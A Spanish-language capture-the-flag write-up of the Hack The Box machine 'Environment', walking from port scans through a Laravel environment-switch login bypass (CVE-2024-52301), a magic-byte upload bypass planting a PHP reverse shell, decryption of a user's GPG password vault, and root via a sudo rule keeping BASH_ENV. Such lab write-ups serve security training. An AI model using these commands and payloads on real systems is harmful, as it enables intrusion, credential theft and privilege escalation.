Descripción

Environment es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Aplicación web de Laravel que expone el código fuente en modo depuración
  • Cambio de entorno del motor Laravel permite evitar la autenticación
  • Carga de archivos insegura permite ejecución de comandos remotos
  • Acceso a archivo cifrado con GPG y al archivo de llaves desde el usuario que ejecuta el servidor web que revela las credenciales del usuario de la máquina
  • Escalada de privilegios mediante una política de SUDO mal configurada

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.26.20.

$ ping -c 3 10.129.26.20
PING 10.129.26.20 (10.129.26.20) 56(84) bytes of data.
64 bytes from 10.129.26.20: icmp_seq=1 ttl=63 time=47.1 ms
64 bytes from 10.129.26.20: icmp_seq=2 ttl=63 time=47.2 ms
64 bytes from 10.129.26.20: icmp_seq=3 ttl=63 time=47.4 ms

--- 10.129.26.20 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.075/47.217/47.379/0.124 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.26.20 -sS -oN nmap_scan
[sudo] contraseña para r: 
Lo siento, pruebe otra vez.
[sudo] contraseña para r: 
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.26.20
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds

Conseguimos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.26.20 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.26.20
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) funcionando en un sistema operativo Linux Debian. Agregamos el dominio del servidor HTTP, environment.htb a nuestro archivo /etc/hosts.

$ echo '10.129.26.20 environment.htb' | sudo tee -a /etc/hosts

Encontramos un sitio web sobre la preservación del clima de la Tierra. Podemos unirnos a una lista de correo electrónico ingresando una dirección de correo electrónico.️ En el pie de página de la página se encuentra que el sitio web en “Producción” está en ejecución, v1.1. Al enumerar el sitio web, encontramos varios directorios.️

$ gobuster dir -u 'http://environment.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/favicon.ico          (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 4602]
/login                (Status: 200) [Size: 2391]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/mailing              (Status: 405) [Size: 244854]
/robots.txt           (Status: 200) [Size: 24]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2127]
/upload               (Status: 405) [Size: 244852]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================

Uno de los puntos finales, /upload, devuelve una página de error web, Method Not Allowed. Muestra que el servidor utiliza PHP 8.2.28 y la capa de Laravel Framework 11.30.0. Esta página de error solo se muestra si el modo de depuración está activado internamente.️ Laravel en versiones anteriores a 11.31.0 es vulnerable, permitiendo la manipulación del entorno mediante un parámetro de la consulta, CVE-2024-52301. Cuando la directiva register_argc_argv PHP está activada y los usuarios llaman a cualquier URL con una cadena de consulta especialmente diseñada, pueden cambiar el entorno utilizado por el framework al manejar la solicitud.️

Si especificamos el parámetro de consulta como ?--env=<NOMBRE_DEL_ENTORNO> en la página principal obtenemos que cambia el pie de página de la página. Por ejemplo, con ?--env=desarrollo.️

Explotación

En la enumeración anterior encontramos un punto de conexión para iniciar sesión, /login. Podemos iniciar sesión en Marketing Management Portal.️ No tenemos credenciales, por lo que recibimos el error Invalid credentials. Al interceptar la solicitud de inicio de sesión con un proxy descubrimos que se envían cuatro parámetros al servidor: _token=<TOKEN>&email=a%40a.com&password=a&remember=False. Como vimos anteriormente, el modo depurador de Laravel está activado, por lo que si logramos generar un error en la página web, podemos revelar parte del código fuente de la página. Vamos a interceptar nuevamente la solicitud pero esta vez vamos a cambiar el valor False del parámetro remember a un valor inválido, como Falsee.️ Obtenemos una respuesta de error interno del servidor. El código fuente revela que la variable PHP $keep_loggedin está asignada con el contenido del parámetro remember, pero solo si el valor es Verdadero o Falso. Si no, la variable no se declara y la lectura en línea 75 no funciona y desencadena una excepción. Después de ese código encontramos que si el entorno del servidor de Laravel es preprod el usuario inicia directamente en el panel de control ignorando las credenciales ingresados.️

Como sabemos que el servidor es vulnerable, vamos a reenviar la solicitud pero esta vez cambiando la variable de entorno a preprod en todas las solicitudes al servidor (por ejemplo: /login?--env=preprod). Obtenemos una redirección al panel de marketing en el endpoint /management/dashboard.️ Disponemos de una lista de usuarios que ingresaron sus correos electrónicos en el formulario anterior. Si modificamos el valor del entorno también en el panel de dashboard, tenemos una nueva opción en el menú izquierdo, PHP Info. Al ir a la página PHP Info se revelan dos cosas: que la directiva register_argc_argv está configurada como On y la clave secreta APP_KEY utilizada en la aplicación de Laravel que nos permite descifrar las cookies. Al ir a la opción Profile, encontramos que podemos actualizar la imagen del perfil del usuario.️ No podemos subir archivos .php para crear una terminal inversa. Solo podemos subir archivos de imagen como .png, .jpg o .gif. La verificación del archivo se realiza comprobando la extensión del archivo y comprobando el contenido del archivo. Podemos superar las restricciones y subir un archivo PHP al agregar al principio del archivo los bytes mágicos de la extensión de archivo .gif GIF87a y la extensión .php.. El servidor web no ha establecido en la lista negra la extensión .php. y el archivo subido elimina el punto final resultando en un archivo .php subido.️ En el respuesta encontramos que el archivo se sube al directorio /storage/files/.️ Podemos iniciar ahora el puerto de escucha y ejecutar el archivo .php para activar la conexión inversa.️

$ nc -nvlp 1234
$ curl http://environment.htb/storage/files/php-reverse-shell.php

Recibimos la terminal inversa como usuario www-data. Actualizamos la terminal.️

$ nc -nvlp 1234                                                                                   
listening on [any] 1234 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.26.20] 45590
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 GNU/Linux
 09:13:35 up  3:04,  0 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
www-data@environment:/$ stty rows 48 columns 156
www-data@environment:/$ export TERM=xterm
www-data@environment:/$ export SHELL=bash

Post-Explotación️

Encontramos en el sistema los usuarios root y hish.

www-data@environment:/$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash

Encontramos que tenemos acceso completo a los archivos del usuario hish.️

ww-data@environment:/$ ls -a /home/hish/
.  ..  .bash_history  .bash_logout  .bashrc  .gnupg  .local  .profile  backup  user.txt

En el directorio /home/hish/backup se encuentra un archivo GPG cifrado, /home/hish/backup/keyvault.gpg. Tenemos acceso al archivo de claves de hish en el directorio /home/hish/.gnupg/. Por lo tanto, copiamos el directorio personal a un directorio temporal y desciframos el archivo con el tool gpg especificando la ubicación del directorio de GPG home con la opción --homedir.️

www-data@environment:/$ cp -r /home/hish/.gnupg/ /tmp/keychain
www-data@environment:/$ gpg --homedir /tmp/keychain -d /home/hish/backup/keyvault.gpg 
gpg: WARNING: unsafe permissions on homedir '/tmp/keychain'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Encontramos lo que parece ser la contraseña para el sistema de Linux, marineSPm@ster!!. Podemos iniciar sesión utilizando el protocolo SSH y la cuenta hish.️

$ ssh hish@environment.htb
hish@environment.htb's password: 
...
hish@environment:~$ id
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)

Encontramos que podemos ejecutar solo un comando como usuario root, el script de Bash /usr/bin/systeminfo. También encontramos que la variable BASH_ENV del usuario actual se mantiene cuando el script se ejecuta como root. BASH_ENV es una variable de entorno que se puede utilizar para especificar la ruta a un script de inicio de Bash que se ejecuta cada vez que se crea una terminal. Por lo tanto, podemos crear un script malicioso que creará un archivo binario SUID de Bash malicioso y luego especificarlo en la variable.️

hish@environment:~$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash-suid;chmod u+s /tmp/bash-suid' > /tmp/malicious.sh
hish@environment:~$ sudo BASH_ENV=/tmp/malicious.sh systeminfo

### Displaying kernel ring buffer logs (dmesg) ###
...

Finalmente podemos lanzar la consola de root.️

hish@environment:~$ /tmp/bash-suid -p
bash-suid-5.2# id
uid=1000(hish) gid=1000(hish) euid=0(root) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)

Flags

En la terminal de root podemos recuperar las flags de user y root.

bash-suid-5.2# cat /home/hish/user.txt 
<REDACTED>
bash-suid-5.2# cat /root/root.txt 
<REDACTED>